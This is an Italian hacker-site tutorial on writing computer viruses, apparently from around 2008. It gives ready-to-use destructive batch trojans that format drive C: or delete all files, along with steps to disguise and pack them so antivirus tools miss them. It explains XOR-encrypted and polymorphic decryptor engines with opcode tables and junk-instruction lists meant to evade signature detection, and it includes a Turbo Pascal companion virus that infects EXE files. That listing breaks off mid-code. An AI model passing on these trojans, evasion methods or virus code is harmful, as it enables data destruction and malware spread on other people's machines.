(`._.[o.OKinG-InFeTO.o]._.)


Vai ai contenuti

VERI VIRUS 1

VR

Virus (veri virus) I-II Parte

<------------------------->

Teoria & Tecnica della Programmazione Virale

 

INTRODUZIONE

 

Cos'e un virus informatico? Analogamente ai virus biologici, un parassita

informatico un organismo capace di replicarsi tramite portatori sani e capace

di causare malfunzionamenti al sistema. E' ovvio che nel paragone con la parola

organismo si vuole intendere un blocco di codice, di istruzioni,

fondalmentalmente un virus informatico solo un programmma, diverso da quelli

normali, magari anche un po' intelligente, ma sempre un programma. Gli studi

condotti sui virus informatici finora hanno classificato e ripartito i

parassiti in diverse specie: la prima differenza a livello generale, la

seconda classificazione invece pi specifica (riguarda il codice e le

funzioni proprie del virus stesso).

 

 

I CLASSIFICAZIONE

 

- trojan horse  (=cavallo di troia)

- virus

- worm          (=verme)

 

TROJAN HORSE

Un trojan horse non propriamente un virus, ma un programma distruttivo pronto

a esplodere. Con questo si vuole intendere che mentre lo scopo del virus

cercare di restare nascosto il pi possibile e replicarsi, lo scopo del cavallo

di troia danneggiare esplicitamente un sistema. Sono chiamati trojan horse

perch di solito vengono distribuiti sotto false spoglie, magari fingendo di

essere programmi ambiti o molto ricercati dall'utenza. Famosi trojan horse

furono quelli che reclamavano il PKZIP300B. Alcuni esempi pratici? I BAT-trojan

horse sono i pi semplici e efficaci da costruire, usando un qualsiasi editor

di testo:

 

 C:\>EDIT TROJAN1.BAT

 

 @FORMAT C: /AUTOTEST

 

 

 C:\>EDIT TROJAN2.BAT

 

 @DELTREE /y C:\*.*

 

Il carattere "@" serve a nascondere l'echo su schermo del comando (altrimenti

l'utente si accorgerebbe subito di cosa succede). Nel primo caso viene

utilizzata una piccola backdoor del comando FORMAT, precisamente il parametro

/AUTOTEST. Di solito l'esecuzione di questo comando a rischio chiede sempre

all'utente di ripensarci, prima di avviare la formattazione.

 

 C:\>FORMAT C:

 

 ATTENZIONE: TUTTI I DATI SUL DISCO FISSO C: ANDRANNO PERSI

 Continuare con la formattazione (S/N)?

 

Tuttavia usando /AUTOTEST questa richiesta non viene effettuata e parte

direttamente la formattazione del disco (non si sa perch la Microsoft abbia

lasciato questo strano parametro). Stessa cosa per il comando DELTREE, che

combinato con l'opzione /y rimuove tutti i files e tutte le cartelle dal disco

C. Varianti simili si possono ottenere con il normale comando DEL del DOS. Per

rendere uno di questi trojan horse pi infido e intercettabile dall'utente

ignaro potete procedere come segue:

 

- create il file BAT col trojan senza usare il comando @

- usate una utility tipo BAT2COM per convertire il file BAT in un eseguibile

  COM

- per rendere la dimensione del trojan pi grande (quindi pi credibile) usate

  COPY /B trojan.com + command.com final.com

- comprimete il file FINAL.COM usando PKLITE.COM oppure DIET, ICE

 

In questo modo sar veramente difficile rilevare il trojan nel file, anche per

un antivirus. Rientrano nella categoria anche le Logic Bomb (=bombe logiche)

che sono dei particolari trojan attivati da un evento temporale o dal

verificarsi di una certa condizione.

 

WORM

Concetto pi avanzato di virus, si pu definire come un virus che viaggia e si

riproduce lungo le reti. Il pi famoso nella storia quello di Robert Morris

jr., giovane americano che negli anni '80 riusc a mandare in tilt migliaia di

computer a causa di una replicazione incontrollata del suo verme, che sfruttava

un vecchio bug del sendmail. Oggi non esistono ancora worm perfezionati a tal

punto da propagarsi cos rapidamente, questo anche a causa dei numerosi e

diversi sistemi presenti su Internet, ma tuttavia Unix/Linux e Java sembrano

terreno fertile per lo sviluppo dei worm.

 

VIRUS

Ecco l'argomento principale di cui ci occuperemo. I virus, studiati ormai da

anni, sono classificati in modo specifico in base al funzionamento.

 

 

II CLASSIFICAZIONE

 

I- FLOPPY BOOT e MBR VIRUS

Infettano un particolare settore dei dischi, quello iniziale, di avvio. Nei

dischetti tale settore contiene il codice che visualizza il famoso messaggio:

"Disco non di avvio /  Sostituire il disco e premere un tasto". Nel disco

rigido invece si parla di Master Boot Record (=record di avviamento principale)

meglio conosciuto come MBR. Furono i primi virus ad essere creati e a

diffondersi rapidamente, oggi in fase di estizione a causa dell'accesso 32-bit

di Windows 95 ai dischi.

Virus famosi: Form, PingPong, Stoned, AntiEXE, NYB-B1, DiskKiller, Michelangelo

 

II- DOS-EXEC FILE VIRUS

Stragrande maggioranza di virus, capaci di infettare i files eseguibili del

sistema operativo.

I loro bersagli preferiti sono i file COM e EXE del DOS. Rientrano in questa

categoria anche alcuni virus che infettano i normali file BAT, facilmente

scopribili. Oggi in via di estinzione.

Virus famosi: November 17, Jerusalem, Ontario, Vienna

 

III- WIN-EXEC FILE VIRUS

Nuovi virus, che possono infettare diversi tipi di oggetti:

 

NE-EXE         NewExecutable                   File EXE per Windows 3.1 16-bit

SCR            ScreenSaver                     File SCR per Windows 3.1 16-bit

PE-EXE         PortableExecutable              File EXE per Windows 95  32-bit

VXD            Device Driver                   File VXD per Windows 95  32-bit

 

Esistono solo una quindicina di virus di questo tipo, ancora non tanto

perfezionati.

 

IV- MACRO VIRUS

La moda del momento, ovvero i virus scritti in VBA (Visual Basic for

Application). Sono virus multipiattaforma (possono funzionare sia su sistemi

Windows che su Macintosh) in quanto non dipendono dal sistema operativo ma da

una particolare applicazione che consente l'uso di macro, cio di comandi

automatici. Ecco i programmi suscettibili a questo tipo di infezione:

 

MS-WORD 6.0 - 95 - 97          File di tipo DOC

MS-EXCEL 5.0 - 95 - 97         File di tipo XLS

LOTUS AMIPRO                   File di tipo SAM, SMM

 

esiste poi una categoria di applicazioni "a rischio" ancora in fase di

sperimentazione (Lotus 1-2-3) e in genere tutte le applicazioni che permettono

l'uso di macro.

Virus famosi: Concept, Wazzu, Laroux, Alliance

 

V- MULTIPARTITO

Quando un virus riesce ad infettare diversi oggetti di quelli sopra elencati,

si definisce multipartito. Esempi:

 

Flip.2153                      MBR + DOS-EXEC

Junkie.1027                    FLOPPY + MBR + DOS-EXEC

Win.Apparition                 WIN-EXEC + MACRO

Win.Ph33r                      DOS-EXEC + WIN-EXEC

 

Esiste infine un'ultima suddivisione, fatta in base alla tipologia di virus,

cio guardando proprio le funzioni e il codice interno del programma-virus.

 

III CLASSIFICAZIONE

 

I- Virus COMPANION

Virus elementari, molto facili da rimuovere che sfruttano un buco offerto dal

DOS. Sotto DOS esiste una grossa ambiguit quando si verifica una condizione

simile: una directory contiene 2 files (PIPPO.COM e PIPPO.EXE), lanciando il

comando "C:\>PIPPO" senza specificare null'altro, quale dei due files sar

caricato prima? Ebbene il sistema Microsoft carica sempre prima i file COM

quando viene specificata l'estensione, per cui facile intuire come si

comportano i virus Companion:

 

- cerca un file .EXE nella directory

- crea un secondo file, con lo stesso identico nome ma con estensione .COM

- nascondi il file .COM per ingannare l'utente (ATTRIB +H)

 

Quando l'utente digita "PIPPO", crede di aver caricato "PIPPO.EXE", quando in

realt non sa che stato avviato il virus conenuto in "PIPPO.COM" che di certo

avr infettato un altro file.

 

II- Virus AZIONE DIRETTA

Si chiamano cos perch agiscono direttamente infettando i files delle

directory. Ogni volta che un programma infetto viene eseguito, il virus esegue

una scansione dei files presenti nella directory corrente (o in altre directory

predefinite come C:\DOS, C:\, C:\WINDOWS) alla ricerca di possibili "vittime".

Una volta trovato un "ospite", il virus lo contagia e quindi passa ad eseguire

il programma originale per non destare i sospetti dell'utente.

 

III- Virus TSR

Categoria gi pi complessa di virus, in quanto riesce a rimanere attiva, di

nascosto, all'interno del sistema operativo, sostituendo parti di esso. I virus

TSR (Terminate and Stay Resident) riservano una porzione di memoria per s

stessi (solitamente memoria alta) o sfruttano dei buchi di RAM non usati dal

DOS dove potersi copiare, quindi acquistano una priorit maggiore rispetto al

sistema operativo stesso per alcune operazioni "a rischio" come apertura di un

file, esecuzione di un file, rename, attrib, accesso a un dischetto, ecc.

Ognuna di queste operazioni pu essere intercettata dal parassita che prima di

eseguire la vera procedura, infetta l'oggetto in uso (file o dischetto).

 

IV- Virus STEALTH

Quando un virus attivo in memoria, pu interferire col sistema operativo e

pu farlo anche bene. La simbiosi pu essere tale che il parassita prende il

controllo totale su alcune funzioni base del DOS. Tra le cose che un virus pu

fare ovviamente rientra la capacit di far apparire tutto normale, cio

nascondere tutti i sintomi e i segnali di allarme che possano farlo

individuare. Questa tecnica detta "stealth" ed esistono varianti notevoli di

questo furbo stratagemma:

 

SIZE HIDING

Se un virus X lungo 100 bytes, tutti i files infetti avranno la loro

dimensione aumentata di 100. Un virus pu intercettare il comando "DIR" e

sottrarre il valore 100 alla dimensione dei file infetti, facendoli sembrare

non infetti all'output del comando.

 

MBR STEALTH

Un virus che infetta l'MBR, salva una copia del vecchio master boot record

prima di sostituirlo con il codice virale. Quando un antivirus va a leggere

l'MBR, il parassita intercetta la lettura e restituisce la copia originale

salvata, mascherando l'infezione presente.

 

CLEAN ON-THE-FLY

Il virus pu intercettare tutte le operazioni di lettura sui files e

modificarne l'output. Se ad esempio un programma prova a leggere un file

infetto, il virus, attivo in memoria, intercetta l'operazione e ripulisce il

file prima della lettura, rendendolo trasparente al controllo. Una volta finita

l'operazione, il virus re-infetta il file. E' questo uno dei metodi pi

efficaci, che riesce ad annullare anche i controlli tramite CRC-checksum.

 

V- Virus ENCRYPTED (=cifrati)

Un virus un programma come tanti altri, quindi formato da righe di codice.

Ogni virus viene infatti identificato dall'antivirus attraverso una particolare

sequenza di istruzioni in linguaggio macchina (stringa) che propria di ogni

parassita. Questa stringa non altro che una serie di bytes, ognuno dei quali

corrisponde ad una istruzione assembler o a un testo particolare racchiuso nel

virus. Ad esempio in tutti i files infetti dal virus Tai-Pan.438 possibile

leggere questa stringa "[Whisper presenterar Tai-Pan]", il che rende il virus

facilmente identificabile. Meglio ancora l'identificazione tramite il codice

vero e proprio del virus: tutti i files infetti dal virus Tai-Pan.438 infatti

presentano queste istruzioni:

 

Bytes           Codice Macchina

E80000          CALL    xxxx

5E              POP     SI

83EE03          SUB     SI,+03

B8CE7B          MOV     AX,7BCE

CD21            INT     21

3DCE7B          CMP     AX,7BCE

7517            JNZ     yyyy

0E              PUSH    CS

1F              POP     DS

 

dove "xxxx" e "yyyy" sono valori generici che cambiano per ogni file. Quindi il

virus Tai-Pan riconoscibile ricercando questa stringa esadecimale

"E800005E83EE03B8CE7BCD213DCE7B75170E1F". Per ovviare questo riconoscimento ed

essere meno riconoscibili i virus ricorrono alla cifratura del codice

(encryption). Il codice cio si presenta in questo modo:

 

VIRUS NON CIFRATO               VIRUS CIFRATO

1: istr1                        0: DECIFRATORE

2: istr2                        1: istrX

3: istr3                        2: istrY

4: __..                         3: istrZ

5: "esempio"                    4: ____.

    5: "hqhrtac"

 

Il virus non cifrato facilmente riconoscibile dalle istruzioni che lo

compongono e anche dalla stringa di testo "esempio" presente al suo interno. Lo

stesso virus, in forma cifrata, diventa irriconoscibile, poich ogni istruzione

viene camuffata e trasformata in un'altra totalmente diversa di significato;

cos anche il testo, diventa una stringa incomprensibile. Inoltre il sistema di

cifratura utilizza una chiave (di solito 8/16-bit) che pu essere fissa ma

anche variabile, cio mutevole ad ogni infezione. Questo significa che il corpo

cifrato del virus varia per ogni file infetto. Ovviamente in capo al virus deve

esserci un decifratore capace di riportare allo stato originale il codice del

virus. Ecco ad esempio il motore cifrante dello Junkie.1027, presente sempre in

testa al virus:

 

Riga            Bytes           Istruzione

0001:           BE8FE0  MOV     SI,0008

0002:           B9F401  MOV     CX,01F4

0003:           26              ES:

0004:           8134BC2E        XOR     WORD PTR [SI],2EBC

0005:           46              INC     SI

0006:           46              INC     SI

0007:           E2F7            LOOP    $0001

0008:           %qui inizia il corpo del virus in forma cifrata

 

La prima istruzione punta l'inizio del corpo del virus (riga 0008); la seconda

imposta il numero di bytes da decifrare, solitamente corrispondente alla

lunghezza del virus stesso (01F4 = 500 WORD = 1000 BYTES 1027). Ecco di

seguito l'operatore crittografico "XOR" che lavora usando una chiave a 16-bit

(1 WORD). Quindi ci sono le istruzioni di scarto per passare alla word

successiva e infine l'istruzione ciclica LOOP. Questo un esempio generico di

motore crittografico, le varianti possono essere le pi svariate, a partire

dagli operatori matematici usati (XOR, ADD, SUB, NOT, ADC, SBB) o sulle

istruzioni cicliche (cambiabili con salti condizionati JZ, JNZ).

 

VI- Virus POLIMORFICI

Utilizzando la tecnica della cifratura un virus diventa riconoscibile solo ed

esclusivamente dal suo motore crittografico, ma usando le opportune accortezze

possibile realizzare dei parassiti che modificano questo motore cifrante ad

ogni infezione. Cos difficile che 2 files infetti dallo stesso virus

risultino simili. Questa tecnica, denominata polimorfismo, viene realizzata sia

usando dei tools esterni (MtE, TPE, DAME, DSCE, SMEG) che vengono linkati al

corpo del virus, sia scrivendo un proprio codice polimorfico  all'interno del

virus.

Grosso modo una routine polimorfa segue questo schema di funzionamento:

 

- la prima cosa da fare scrivere un motore crittografico molto flessibile,

dove le istruzioni possano essere scambiate, usando diversi operatori

crittografici, il motore dello Junkie.1027 visto prima pu andare bene:

 

0001:           BE0800  MOV     SI,0008

0002:           B9F401  MOV     CX,01F4

0003:           26              ES:

0004:           8134BC2E        XOR     WORD PTR [SI],2EBC

0005:           46              INC     SI

0006:           46              INC     SI

0007:           E2F7            LOOP    $0001

0008:           %qui inizia il corpo del virus in forma cifrata

 

l'operatore crittografico XOR pu essere variato, usando ad esempio ADD e SUB

che generano i seguenti codici:

 

0004:           8104BC2E      ADD     WORD PTR [SI],2EBC

 

0004:           812CBC2E      SUB     WORD PTR [SI],2EBC

 

abbiamo in totale quindi 3 trasformazioni del nostro motore (XOR, ADD, SUB),

dove per cambia solo un bytes. Un'altra variazione si pu operare sul segmento

dati ES, nei file COM possiamo usare in alternativa anche i segmenti DS e CS.

 

0003:           2E            CS:

 

0003:           3E            DS:

 

Con quest'altre due variazioni il numero di trasformazioni cresce a 9, con due

bytes di differenza. Altra modifica possibile sul registro di indirizzamento

dati SI, che pu essere alternato con DI e BX generando numerose varianti di

codice:

 

Usando BX

0001:           BB0800               MOV     BX,0008

   /   8137BC2E        XOR     WORD PTR [BX],2EBC

0004:          - |   8107BC2E        ADD     WORD PTR [BX],2EBC

   \   812FBC2E        SUB     WORD PTR [BX],2EBC

0005:           46                   INC     BX

 

Usando SI

0001:           BF0800               MOV     DI,0008

   /   8135BC2E        XOR     WORD PTR [DI],2EBC

0004:          - |   8105BC2E        ADD     WORD PTR [DI,2EBC

   \   812DBC2E        SUB     WORD PTR [DI],2EBC

0005:           47                   INC     DI

 

In questo modo le combinazioni ottenute crescono veramente tanto e il motore si

riduce a qualcosa del tipo:

 

0001:               ??0800  MOV     ??,0008

0002:               B9F401  MOV     CX,01F4

0003:               ??              ??:

0004:               81??BC2E        ??      WORD PTR [??],2EBC

0005:               ??              INC     ??

0006:               ??              INC     ??

0007:               E2F7            LOOP    $0001

 

Dove l'indirizzo "0008" e la chiave di cifratura "2EBC" variano da file a file,

quindi la stringa del virus si riduce a soli 6 bytes costanti:

 

"?? ?? ?? B9 F4 01 ?? 81 ?? ?? ?? ?? ?? E2 F7"

 

niente male, davvero! Si pu ancora migliorare il polimorfismo di questo motore

usando le "junk instruction", ovvero del codice inutile e indifferente che pu

essere inserito per spezzare i bytes costanti. Ecco alcuni esempi di junk che

non alterano il codice di un programma:

 

- aggiunge il valore "0" a un registro 16-bit

050000  ADD     AX,0000

83C600  ADD     SI,+00

83C500  ADD     BP,+00

 

- toglie il valore "0" a un registro 16-bit

83EB00  SUB     BX,+00

83EF00  SUB     DI,+00

83EC00  SUB     SP,+00

 

- stesse di prima ma su registri a 8-bit

0400    ADD     AL,00

80E900  SUB     CL,00

 

- PUSH e POP una dietro l'altra

50              PUSH    AX

58              POP     AX

 

- caricamento di un registro 16-bit con s stesso

89C0            MOV     AX,AX

89FF            MOV     DI,DI

89ED            MOV     BP,BP

 

- caricamento di un registro 16-bit con s stesso

87DB            XCHG    BX,BX

87F6            XCHG    SI,SI

87E4            XCHG    SP,SP

 

- stesse di prima ma su registri a 8-bit

88C0            MOV     AL,AL

88F6            MOV     DH,DH

86DB            XCHG    BL,BL

86ED            XCHG    CH,CH

 

- salti condizionali inutili (0-jump)

EB00            JMP     seguente

7500            JNZ     seguente

7400            JZ      seguente

7F00            JG      seguente

7700            JA      seguente

 

E la lista potrebbe continuare, c' solo l'imbarazzo della scelta. Inserendo

istruzioni di questo tipo dentro al codice non solo si sende il codice pi

contorto da districare, ma si rende la lunghezza della stringa variabile,

modificando ogni volta la posizione dei pochi bytes costanti rimasti.

 

 

PRIMA LEZIONE

Programmazione di un virus Companion usando Turbo Pascal

 

La maggioranza dei virus viene scritta in linguaggi a basso livello, che

operano pi velocemente e pi vicino al cuore del sistema operativo; tuttavia

tentativi di realizzare virus usando linguaggi ad alto livello (tipo BASIC,

C++, PASCAL) sono stati fatti, con risultati pi o meno buoni. Questa specie di

virus viene identificata dalla sigla "HLLx", che sta per "High Level Language"

mentre la "x" identifica meglio il tipo di parassita:

 

O=overwriting virus (virus che sovrascrive i files durante le infezioni, con

       danni irreparabili)

C=companion virus

P=parasitic virus

 

L'esempio di questa lezione sar un semplice virus di tipo Companion (HLLC

quindi) scritto usando il pi comune dei linguaggi: il Turbo Pascal. E'

richiesta solo una conoscenza base (non approfondita) del linguaggio per capire

il listato del virus.

 

}--------------------------> INIZIO <---------------------------{

{Type: COMPANION VIRUS

 Desc: Ricerca e infetta 1 file EXE, creando il file COM corrispondente con una

       copia del virus. Ogni dir contiene al massimo 3 file EXE infetti}

 

{$M 1024,0,1024}       {Direttive al compilatore per ottimizzare l'uso

   di memoria RAM}

PROGRAM VIRUS_SAMPLE1;

USES DOS,CRT,STRINGS;

TYPE CHARFILE=FILE OF CHAR;

 

VAR File1,File2: SearchRec;

    VirFile: string[12];

    F,G: CHARFILE;

    anno, mese, giorno, nomegiorno: Word;

 

{Ricava il nome del file COM dall'EXE trovato}

PROCEDURE ConverteNomeEXE(VAR File1:SearchRec);

VAR i:integer;

BEGIN

i:=0;

WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN

      VirFile[i]:=File1.Name[i];

      inc(i);

      END;

virfile[i]:='.';

virfile[i+1]:='C';

virfile[i+2]:='O';

virfile[i+3]:='M';

END;

 

{Riceve un file Sorgente e uno Destinazione e li copia}

PROCEDURE CopiaFile(VAR S,D:CHARFILE);

VAR byte:char;

BEGIN

ASSIGN(D,VirFile); ASSIGN(S,File2.Name);

REWRITE(D); RESET(S);

WHILE NOT EOF(S) DO BEGIN

      READ(S,byte);

      WRITE(D,byte);

      END;

CLOSE(S); CLOSE(D);

END;

 

{Modifica il file COM per eseguire l'applicazione ospite}

PROCEDURE ModificaFile(VAR F:CHARFILE);

VAR i:integer; byte:char;

BEGIN

RESET(F);

SEEK(F,1081);

i:=0;

WHILE (i<=8) AND (File1.Name[i]<>'.') DO BEGIN

      WRITE(F,File1.Name[i]);

      inc(i);

      END;

byte:='.'; WRITE(F,byte);

byte:='E'; WRITE(F,byte);

byte:='X'; WRITE(F,byte);

byte:='E'; WRITE(F,byte);

byte:=chr(00); WRITE(F,byte);

CLOSE(F);

END;

 

{Main}

BEGIN

ClrScr;                                      {cancella lo schermo}

FindFirst('*.EXE', Archive, File1);          {cerca il primo file EXE}

 

{se stato trovato almeno un file EXE si prosegue}

IF DosError = 0 THEN BEGIN

 

ConverteNomeEXE(File1);

{Vede se esiste gi un COM nascosto, quindi il file gi infetto}

FindFirst(VirFile, Hidden, File2);

 

{se non esiste c' errore e si pu procedere con l'infezione}

IF DosError<>0 THEN BEGIN

      FindFirst('*.COM', Hidden, File2);

      CopiaFile(G,F);

      ModificaFile(F);

      SetFAttr(F, 34);

      END

ELSE BEGIN

     {se il primo EXE gi infetto cerca il secondo EXE}

     FindNext(File1);

     ConverteNomeEXE(File1);

     FindFirst(VirFile, Hidden, File2);

     IF DosError<>0 THEN BEGIN

    FindFirst('*.COM', Hidden, File2);

    CopiaFile(G,F);

    ModificaFile(F);

    SetFAttr(F, 34);

    END

 

     ELSE BEGIN

   {se il secondo EXE gi infetto cerca il terzo EXE}

   FindNext(File1);

   ConverteNomeEXE(File1);

   FindFirst(VirFile, Hidden, File2);

   IF DosError<>0 THEN BEGIN

         FindFirst('*.COM', Hidden, File2);

         CopiaFile(G,F);

Creative Commons License
Questo sito pubblicato sotto una Licenza Creative Commons

Home Page | Regole dell'Hacker | Contattaci | HkG | VR | Video TuToRial | HkG M | C++ | Wdw$ X | Mappa del sito


Sito protetto da CoPyRiGhT 2008/2009 | [email protected]

Torna ai contenuti | Torna al menu